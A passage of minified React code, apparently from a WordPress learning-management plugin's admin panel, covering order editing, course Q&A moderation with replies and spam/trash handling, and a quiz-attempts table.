0:e.id,direction:"row",spacing:"6"},l().createElement(g.E,{flexGrow:1,fontWeight:"semibold"},null==e?void 0:e.name,eu("group-courses")&&!$(null==Me||null===(t=Me.data)||void 0===t?void 0:t.groups)&&l().createElement(Jt.E,{p:"1",borderRadius:"md",ml:3,colorScheme:"green"},(0,E.__)("Group"))),l().createElement(g.E,{fontSize:"sm",fontWeight:"medium",color:"gray.600"},"x ",null==e?void 0:e.quantity),l().createElement(g.E,{fontSize:"sm",fontWeight:"medium",color:"gray.600"},ov(null==e?void 0:e.subtotal,null===(n=Me.data)||void 0===n?void 0:n.currency_symbol)))})),l().createElement(Qe.a,null,l().createElement(Do.c,null)),l().createElement(Bt.e,null,l().createElement(p.$,{type:"submit",isLoading:Te.isPending},(0,E.__)("Update Order","learning-management-system")),l().createElement(p.$,{variant:"outline",onClick:()=>Ae(Pt.orders.list)},(0,E.__)("Cancel","learning-management-system"))))))):l().createElement(sv,null)),l().createElement(Ke.Lt,{isOpen:Be,onClose:Xe,isCentered:!0,leastDestructiveRef:Ce},l().createElement(f.m,null,l().createElement(Ke.EO,null,l().createElement(w.r,null,(0,E.__)("Delete Order","learning-management-system")),l().createElement(x.c,null,(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system")),l().createElement(A.j,null,l().createElement(Bt.e,null,l().createElement(p.$,{ref:Ce,onClick:Xe,variant:"outline",borderRadius:"base"},(0,E.__)("Cancel","learning-management-system")),l().createElement(p.$,{colorScheme:"red",onClick:()=>{Ue.mutate(ge)},isLoading:Ue.isPending},(0,E.__)("Delete","learning-management-system"))))))))))};const Av=e=>{var t,n,{filterParams:a,setFilterParams:r}=e,i=new mt(rt.courses),o=new mt(rt.users),s=(0,Pn.I)({queryKey:["courseList"],queryFn:()=>i.list({order_by:"name",order:"asc",per_page:5})}),m=(0,Pn.I)({queryKey:["userList"],queryFn:()=>o.list({order_by:"name",order:"asc",per_page:5})}),{handleSubmit:c,register:u,setValue:d}=(0,Je.mN)(),g=(0,wr.z)({onTypeFinish:e=>{r({parent:0,user:a.user,course_id:a.course_id,search:e})}},800),A=e=>{r(ne(ee(e,{search:a.search,parent:0})))};return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:c(A)},l().createElement(br.x,{gridTemplateColumns:{md:"repeat(3, 1fr)"},gap:"4"},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search questions","learning-management-system")},g,{height:"40px"})),l().createElement(Co,(0,Re.A)({},u("course_id"),{onChange:e=>{d("course_id",null==e?void 0:e.value.toString()),c(A)()},placeholder:(0,E.__)("Filter by Course","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching course...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Course not found.","learning-management-system"):s.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:s.isSuccess?null==s||null===(t=s.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"(#".concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.name,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);i.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"#".concat(e.id," ").concat(e.name)}))))}))}})),l().createElement(Co,(0,Re.A)({},u("user"),{onChange:e=>{d("user",null==e?void 0:e.value.toString()),c(A)()},placeholder:(0,E.__)("Filter by Sender","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching sender...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Sender not found.","learning-management-system"):m.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:m.isSuccess?null==m||null===(n=m.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);o.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};var pv=n(28156),Ev=n(18188),yv=n(40638),vv=n(92943);function fv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function hv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?fv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):fv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const bv=e=>{var{replyData:t,isEditable:n,refetch:r}=e,{id:i,user_name:o,user_avatar:s,content:m,sender:c,created_at:u,by_current_user:A}=t,p=(0,Ye.dU)("gray.100","gray.700"),y=(0,Ye.dU)("primary.400","gray.200"),v=(0,Ye.dU)("pink.400","pink.200"),f=(0,Ye.dU)("gray.400","gray.300"),h=A?{borderBottomRightRadius:"lg",borderBottomLeftRadius:"lg",borderTopLeftRadius:"lg",bg:"primary.400",color:"white",lineBreak:"anywhere"}:{borderBottomRightRadius:"lg",borderBottomLeftRadius:"lg",borderTopRightRadius:"lg",bg:p,lineBreak:"anywhere"},[b,w]=(0,a.useState)(!1),{register:C,handleSubmit:x,formState:{isDirty:S},reset:B,getValues:I}=(0,Je.mN)(),O=(0,We.d)(),P=new mt(rt.qa),D=(0,wt.n)(hv({mutationFn:e=>P.delete(e,{force:!0})},{onSuccess:()=>{r(),O({description:(0,E.__)("Message deleted.","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{O({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),_=(0,wt.n)(hv({mutationFn:e=>P.update(i,e)},{onSuccess:()=>{B(I()),w(!1),r()},onError:e=>{O({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return Ca(S),l().createElement(d.B,{alignItems:"center",direction:A?"row-reverse":"row",spacing:"2",justify:"space-between"},l().createElement(Oa.e,{size:"sm",src:s}),l().createElement(d.B,{direction:"column",spacing:"2",flex:"1",align:A?"flex-end":"flex-start"},l().createElement(d.B,{direction:"row",spacing:"1",align:"center",justify:"space-between"},l().createElement(d.B,{direction:"row",align:"center"},l().createElement(g.E,{fontSize:"sm",fontWeight:"medium"},o),l().createElement($e.I,{as:"instructor"===c?kt.pUp:kt.PY8,color:"instructor"===c?y:v,fill:"currentColor"})),l().createElement(g.E,{fontSize:"x-small",color:f},l().createElement(vv.A,{datetime:"".concat(u," UTC"),live:!1}))),l().createElement(Ze.z,{spacing:"1"},b?l().createElement("form",{onSubmit:x((e=>{_.mutate(ne(e))}))},l().createElement(Ha.M,null,l().createElement(Ma.p,(0,Re.A)({},C("content",{required:!0}),{defaultValue:m,fontSize:"xs"})),l().createElement(Ja.t,null,l().createElement(Un.K,{"aria-label":"qnaReply",type:"submit",icon:l().createElement(kt.mmP,null),isLoading:_.isPending,size:"xs",colorScheme:"green"})))):l().createElement(Qe.a,{dangerouslySetInnerHTML:{__html:m},fontSize:"xs",p:"4",py:"3",sx:h,textAlign:A?"end":"start",w:"fit-content"}),n?l().createElement(Rn.W,{placement:"bottom-end",size:"sm"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"ghost",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,b?l().createElement(Kn.D,{onClick:()=>w(!1),icon:l().createElement(kt.Gsv,null)},(0,E.__)("Cancel","learning-management-system")):l().createElement(Kn.D,{onClick:()=>{w(!0)},icon:l().createElement(Da,{icon:_a,boxSize:"12px"}),_hover:{color:"primary.500"}},(0,E.__)("Edit","learning-management-system")),l().createElement(Kn.D,{onClick:()=>{i&&D.mutate(i)},icon:l().createElement(Da,{icon:ea,boxSize:"12px"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system")))):null)))};const wv=()=>l().createElement(_e.o,{h:"calc(100vh - 60px)",width:"full"},l().createElement(bt.y,{size:"lg",color:"primary.500",emptyColor:"gray.200",thickness:"3px"}));function Cv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function xv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Cv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Cv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const Sv=e=>{var t,n,{qaData:r,onDeletePress:i,onTrashPress:o,onRestorePress:s,onSpamPress:m,onUnSpamPress:c,setBulkIds:u,bulkIds:A,isLoading:y}=e,{id:v,status:h,content:b,course_id:S,user_name:B,user_avatar:I,answers_count:O,created_at:P,course_name:D,user_email:_}=r,{isOpen:k,onOpen:Q,onClose:z}=(0,Ue.j)(),q=(0,Je.mN)(),F=new mt(rt.qa),j=(0,We.d)(),V=(0,Pn.I)(xv({queryKey:["backendQnAChat".concat(v),v],queryFn:()=>F.list({parent:v})},{enabled:k,refetchInterval:3e4})),L=(0,wt.n)(xv({mutationFn:e=>F.store(e)},{onSuccess:()=>{q.reset(null==q?void 0:q.getValues()),V.refetch()},onError:e=>{j({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}));return(0,a.useEffect)((()=>{var e;null!=V&&V.isSuccess&&(e=document.querySelector("#mto-backend-qna-replies"))&&e.scrollIntoView(!1)}),[null==V?void 0:V.isSuccess]),Ca(q.formState.isDirty),l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:y,isChecked:A.includes(v.toString()),onChange:e=>u(e.target.checked?[...A,v.toString()]:A.filter((e=>e!==v.toString())))})),l().createElement(_n.Td,null,h===aA.trash?l().createElement(g.E,{fontWeight:"semibold"},b):l().createElement(l().Fragment,null,l().createElement(g.E,{cursor:"pointer",fontWeight:"semibold",fontSize:"sm",_hover:{color:"primary.500"},onClick:Q},b),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Course:","learning-management-system")," ",D))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"row",spacing:"2",alignItems:"center"},l().createElement(Oa.e,{size:"xs",src:I}),l().createElement(g.E,{fontSize:"xs",fontWeight:"medium",color:"gray.600"},B," (",_,")"))),l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"xs",color:"gray.600",fontWeight:"medium"},O)),l().createElement(_n.Td,null,l().createElement(g.E,{fontSize:"xs",color:"gray.600",fontWeight:"medium"},l().createElement(vv.A,{datetime:"".concat(P," UTC"),live:!1}))),l().createElement(_n.Td,null,h===aA.trash?l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:s,icon:l().createElement(kt.Nyy,null)},(0,E.__)("Restore","learning-management-system")),l().createElement(Kn.D,{onClick:i,icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"})},(0,E.__)("Delete Permanently","learning-management-system")))):l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",variant:"outline",leftIcon:l().createElement(kt.HBW,null),size:"xs",onClick:Q},(0,E.__)("Reply","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,h!==aA.spam?l().createElement(Kn.D,{onClick:m,icon:l().createElement(or.g7r,null)},(0,E.__)("Mark Spam","learning-management-system")):l().createElement(Kn.D,{onClick:c,icon:l().createElement(yv.jF3,null)},(0,E.__)("Mark Unspam","learning-management-system")),l().createElement(Kn.D,{onClick:o,icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Trash","learning-management-system"))))),l().createElement(Zc.Z,null,l().createElement(pv._s,{id:"qnaDrawer",isOpen:k,placement:"right",onClose:z,size:"md"},l().createElement(f.m,null),l().createElement(Ev.z,null,l().createElement(C.s,{mt:"8"}),l().createElement(w.r,{borderBottomWidth:"1px",mt:"6"},b,V.isFetching?l().createElement(bt.y,{size:"sm",ml:"4",mt:"1"}):l().createElement($n.m,{label:(0,E.__)("Refresh chat (Auto refetch every 30 seconds.)","learning-management-system")},l().createElement("span",null,l().createElement($e.I,{pos:"absolute",ml:"4",mt:"1",boxSize:"6",as:kt.Zxy,onClick:()=>V.refetch(),cursor:"pointer"})))),l().createElement(x.c,{py:"6"},l().createElement(d.B,{id:"mto-backend-qna-replies",direction:"column-reverse",spacing:"4",overflowY:"auto"},null!=V&&V.isPending?l().createElement(wv,null):V.isSuccess&&$(null==V||null===(t=V.data)||void 0===t?void 0:t.data)?l().createElement(at,{status:"info"},(0,E.__)("No replies found.","learning-management-system")):null==V||null===(n=V.data)||void 0===n?void 0:n.data.map((e=>l().createElement(bv,{key:null==e?void 0:e.id,replyData:e,isEditable:!0,refetch:V.refetch}))))),l().createElement(Je.Op,q,l().createElement("form",{onSubmit:q.handleSubmit((e=>{L.mutate({content:e.content,course_id:S,parent:v})})),id:"".concat(v,"-qna-chat")},l().createElement(d.B,{direction:"column",spacing:"2",w:"100%",px:"4",py:"4"},l().createElement(Ne.MJ,null,l().createElement(Ma.p,(0,Re.A)({type:"text",fontSize:"xs"},q.register("content",{required:!0}),{disabled:L.isPending||V.isPending}))),l().createElement(p.$,{colorScheme:"primary",type:"submit",isLoading:L.isPending,isDisabled:V.isPending},(0,E.__)("Send","learning-management-system"))))))))))};function Bv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function Iv(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Bv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Bv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}var Ov=[{status:"all",name:(0,E.__)("All Questions","learning-management-system")},{status:aA.spam,name:(0,E.__)("Spam","learning-management-system")},{status:aA.trash,name:(0,E.__)("Trash","learning-management-system")}];const Pv=()=>{var e,t,n,r,i,o,m,c,u,g,[A,p]=(0,a.useState)("all"),[y,v]=(0,a.useState)({all:void 0,spam:void 0,trash:void 0}),[f,h]=(0,a.useState)({parent:0}),[b,w]=(0,a.useState)(),C=new mt(rt.qa),x=(0,We.d)(),S=(0,s.jE)(),{onClose:B,onOpen:I,isOpen:O}=(0,Ue.j)(),[P,D]=(0,a.useState)(""),[_,k]=(0,a.useState)([]),Q=(0,Pn.I)({queryKey:["courseQAList",f],queryFn:()=>C.list(f)});(0,a.useEffect)((()=>{var e,t,n;null!=Q&&Q.isSuccess&&v({all:null==Q||null===(e=Q.data)||void 0===e||null===(e=e.meta)||void 0===e||null===(e=e.course_qas_count)||void 0===e?void 0:e.all,spam:null==Q||null===(t=Q.data)||void 0===t||null===(t=t.meta)||void 0===t||null===(t=t.course_qas_count)||void 0===t?void 0:t.spam,trash:null==Q||null===(n=Q.data)||void 0===n||null===(n=n.meta)||void 0===n||null===(n=n.course_qas_count)||void 0===n?void 0:n.trash})}),[null==Q?void 0:Q.isSuccess,null==Q?void 0:Q.data]);var z=(0,wt.n)(Iv({mutationFn:e=>C.delete(e,{force_delete:!0,children:!0})},{onSuccess:()=>{S.invalidateQueries({queryKey:["courseQAList"]}),B(),x({title:(0,E.__)("Questions deleted successfully!","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),q=(0,wt.n)(Iv(Iv({mutationFn:e=>C.delete(e)},{onSuccess:()=>{S.invalidateQueries({queryKey:["courseQAList"]}),x({title:(0,E.__)("Question Trashed","learning-management-system"),isClosable:!0,status:"success"})}}),{},{onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),F=(0,wt.n)(Iv({mutationFn:e=>C.update(e.id,e)},{onSuccess:e=>{var t;S.invalidateQueries({queryKey:["courseQAList"]}),x({title:(0,E.sprintf)(/* translators: %s: re name */ /* translators: %s: re name */ (0,E._x)("Question %s","Question status title","learning-management-system"),(t=e.status,t===aA.spam?"has been marked as spam.":"has been marked as hold.")),isClosable:!0,status:"success"})},onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),j=(0,wt.n)(Iv({mutationFn:e=>C.restore(e)},{onSuccess:()=>{S.invalidateQueries({queryKey:["courseQAList"]}),x({title:(0,E.__)("Question Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),V=(e,t)=>{F.mutate(ne(ee(e,{status:t})))},L={delete:(0,wt.n)(Iv({mutationFn:e=>C.bulkDelete("delete",{ids:e,force:!0,children:!0})},{onSuccess(){S.invalidateQueries({queryKey:["courseQAList"]}),B(),k([]),x({title:(0,E.__)("Questions Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),trash:(0,wt.n)(Iv({mutationFn:e=>C.bulkDelete("delete",{ids:e})},{onSuccess(){S.invalidateQueries({queryKey:["courseQAList"]}),B(),k([]),x({title:(0,E.__)("Questions Trashed","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}})),restore:(0,wt.n)(Iv({mutationFn:e=>C.bulkRestore("restore",{ids:e})},{onSuccess(){S.invalidateQueries({queryKey:["courseQAList"]}),B(),k([]),x({title:(0,E.__)("Questions Restored","learning-management-system"),isClosable:!0,status:"success"})},onError:e=>{x({title:(null==e?void 0:e.message)||(0,E.__)("Something went wrong","learning-management-system"),status:"error",isClosable:!0})}}))};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(Yn,{tabs:Ov,defaultActive:"all",onTabChange:e=>{p(e),h(ee(f,{status:e}))},counts:null===(e=Q.data)||void 0===e||null===(e=e.meta)||void 0===e?void 0:e.course_qas_count,isCounting:Q.isLoading})))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(Av,{setFilterParams:h,filterParams:f}),l().createElement(d.B,{direction:"column",spacing:"10"},l().createElement(_n.XI,null,Q.isLoading||!Q.isFetched?l().createElement(Dd,null):Q.isSuccess&&$(null==Q||null===(t=Q.data)||void 0===t?void 0:t.data)?l().createElement(Mn,{title:(0,E.__)("No Questions & Answers Yet","learning-management-system"),description:(0,E.__)("Start building your learning community by adding students. Manage their access and track their progress.","learning-management-system"),isResultFiltered:Boolean((null==f?void 0:f.search)||(null==f?void 0:f.course_id)||(null==f?void 0:f.user)||"any"!==(null==f?void 0:f.status))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:Q.isLoading||Q.isFetching||Q.isRefetching,isIndeterminate:(null==Q||null===(n=Q.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)!==_.length&&_.length>0,isChecked:(null==Q||null===(r=Q.data)||void 0===r||null===(r=r.data)||void 0===r?void 0:r.length)===_.length&&!$(null==Q||null===(i=Q.data)||void 0===i?void 0:i.data),onChange:e=>{var t;return k(e.target.checked?null==Q||null===(t=Q.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Question","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Asked By","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Replies","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Asked","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==Q||null===(o=Q.data)||void 0===o||null===(o=o.data)||void 0===o?void 0:o.map((e=>l().createElement(Sv,{key:null==e?void 0:e.id,qaData:e,onDeletePress:()=>{return t=null==e?void 0:e.id,I(),void w(t);var t},onTrashPress:()=>{var t;(t=null==e?void 0:e.id)&&q.mutate(t)},onRestorePress:()=>{var t;(t=null==e?void 0:e.id)&&j.mutate(t)},onSpamPress:()=>V(e,aA.spam),onUnSpamPress:()=>V(e,aA.approve),setBulkIds:k,bulkIds:_,isLoading:Q.isLoading||Q.isFetching||Q.isRefetching}))))))))),Q.isSuccess&&!$(null==Q||null===(m=Q.data)||void 0===m?void 0:m.data)&&l().createElement(ba,{metaData:null==Q||null===(c=Q.data)||void 0===c?void 0:c.meta,setFilterParams:h,perPageText:(0,E.__)("Questions Per Page:","learning-management-system"),extraFilterParams:{search:null==f?void 0:f.search,course_id:null==f?void 0:f.course_id,user:null==f?void 0:f.user,status:null==f?void 0:f.status,parent:0}})),l().createElement(ta,{openToast:I,status:A,setBulkAction:D,bulkIds:_,setBulkIds:k,trashable:!0}),l().createElement(qn,{isOpen:O,onClose:B,confirmButtonColorScheme:"restore"===P?"primary":void 0,onConfirm:""===P?()=>{b&&z.mutate(b)}:()=>{L[P].mutate(_)},action:P,isLoading:""===P?z.isPending:null!==(u=null==L||null===(g=L[P])||void 0===g?void 0:g.isLoading)&&void 0!==u&&u,dialogTexts:{default:{header:(0,E.__)("Deleting Questions","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Delete","learning-management-system")},trash:{header:(0,E.__)("Moving questions to trash","learning-management-system"),body:(0,E.__)("Are you sure? The selected questions will be moved to trash.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Questions","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")},restore:{header:(0,E.__)("Restoring Questions","learning-management-system"),body:(0,E.__)("Are you sure? The selected questions will be restored from the trash.","learning-management-system"),confirm:(0,E.__)("Restore","learning-management-system")}}}))};function Dv(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}const _v=e=>{var t,n,{setFilterParams:a,filterParams:r,isCurrentUserAdmin:i,showUserFilter:o=!1,padFilters:s=!0}=e,{handleSubmit:m,setValue:c}=(0,Je.mN)(),u=e=>{a(ne(ee(e,{per_page:null==r?void 0:r.per_page})))},d=new mt(rt.users),g=new mt(rt.quizes),A=(0,Pn.I)(function(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Dv(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Dv(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}({queryKey:["users"],queryFn:()=>d.list({orderby:"display_name",order:"asc",per_page:10})},{enabled:!("yes"!==i||!o)})),p=(0,Pn.I)({queryKey:["quizzes"],queryFn:()=>g.list({per_page:10})});return l().createElement(Qe.a,{px:s?{base:6,md:12}:0,py:s?"12px":0},l().createElement("form",{onChange:m(u)},l().createElement(br.x,{gridTemplateColumns:{md:"yes"===i&&o?"repeat(2, 1fr)":"repeat(1, 1fr)"},gap:"4"},"yes"===i&&o&&l().createElement(Js.E,null,l().createElement(Co,{styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?A.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Users not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search by username or email","learning-management-system"),onChange:e=>{c("user_id",null==e?void 0:e.value),m(u)()},defaultOptions:A.isSuccess?null===(t=A.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:e.id,label:"".concat(e.display_name," (#").concat(e.id," - ").concat(e.email,")"),avatar_url:e.avatar_url}))):[],loadOptions:(e,t)=>{if($(e))return t([]);d.list({search:e}).then((e=>{t(e.data.map((e=>({value:e.id,label:"".concat(e.display_name," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})),l().createElement(Js.E,null,l().createElement(Co,{styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return $(t)?p.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter one or more characters.","learning-management-system"):(0,E.__)("Quiz not found.","learning-management-system")},isClearable:!0,placeholder:(0,E.__)("Search by Quiz","learning-management-system"),onChange:e=>{c("quiz_id",null==e?void 0:e.value),m(u)()},defaultOptions:p.isSuccess?null===(n=p.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:e.name}))):[],loadOptions:(e,t)=>{if($(e))return t([]);g.list({search:e}).then((e=>{t(e.map((e=>({value:e.id,label:e.name}))))}))}})))))};const kv=e=>{var t,n,a,r,i,o,s,m,c,{data:A,setBulkIds:y,isLoading:f,bulkIds:h,onDeletePress:b}=e;return l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(On.S,{isDisabled:f,isChecked:h.includes(A.id.toString()),onChange:e=>y(e.target.checked?[...h,A.id.toString()]:h.filter((e=>e!==A.id.toString())))})),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},"attempt_ended"===(null==A?void 0:A.attempt_status)?l().createElement(je.N,{as:v.N_,to:Pt.quiz_attempts.edit.replace(":attemptId",null==A?void 0:A.id.toString()),fontWeight:"semibold",fontSize:"sm",_hover:{color:"primary.500"}},"#",null==A?void 0:A.id," ",null==A||null===(t=A.user)||void 0===t?void 0:t.first_name," ",null==A||null===(n=A.user)||void 0===n?void 0:n.last_name):l().createElement(g.E,{fontWeight:"semibold",fontSize:"sm"},"#",null==A?void 0:A.id," ",null==A||null===(a=A.user)||void 0===a?void 0:a.first_name," ",null==A||null===(r=A.user)||void 0===r?void 0:r.last_name),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},null==A||null===(i=A.user)||void 0===i?void 0:i.display_name," (",null==A||null===(o=A.user)||void 0===o?void 0:o.email,")"))),l().createElement(_n.Td,null,l().createElement(g.E,{fontWeight:"bold",color:"gray.600",fontSize:"sm"},null==A||null===(s=A.quiz)||void 0===s?void 0:s.name),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Course:","learning-management-system")," ",null==A||null===(m=A.course)||void 0===m?void 0:m.name)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Total Questions:","learning-management-system")," ",null==A?void 0:A.total_questions),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Earned Points:","learning-management-system")," ",null==A?void 0:A.earned_marks),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Total Points:","learning-management-system")," ",null==A?void 0:A.total_marks))),l().createElement(_n.Td,null,"attempt_ended"!==(null==A?void 0:A.attempt_status)?l().createElement(Jt.E,{colorScheme:"yellow"},(0,E.__)("In progress","learning-management-system")):l().createElement(u.T,{align:"flex-start"},l().createElement(g.E,{color:"gray.600",fontSize:"sm"},((e,t)=>{if(!isNaN(e)&&!isNaN(t)){var n=e/t*100;return Math.round(n)+"%"}})(parseFloat(null==A?void 0:A.earned_marks),parseFloat(null==A?void 0:A.total_marks))),!isNaN(parseFloat(null==A?void 0:A.earned_marks))&&(parseFloat(null==A?void 0:A.earned_marks)<(null==A||null===(c=A.quiz)||void 0===c?void 0:c.pass_mark)?l().createElement(Jt.E,{colorScheme:"red"},(0,E.__)("Fail","learning-management-system")):l().createElement(Jt.E,{colorScheme:"green"},(0,E.__)("Pass","learning-management-system"))))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,"attempt_ended"===(null==A?void 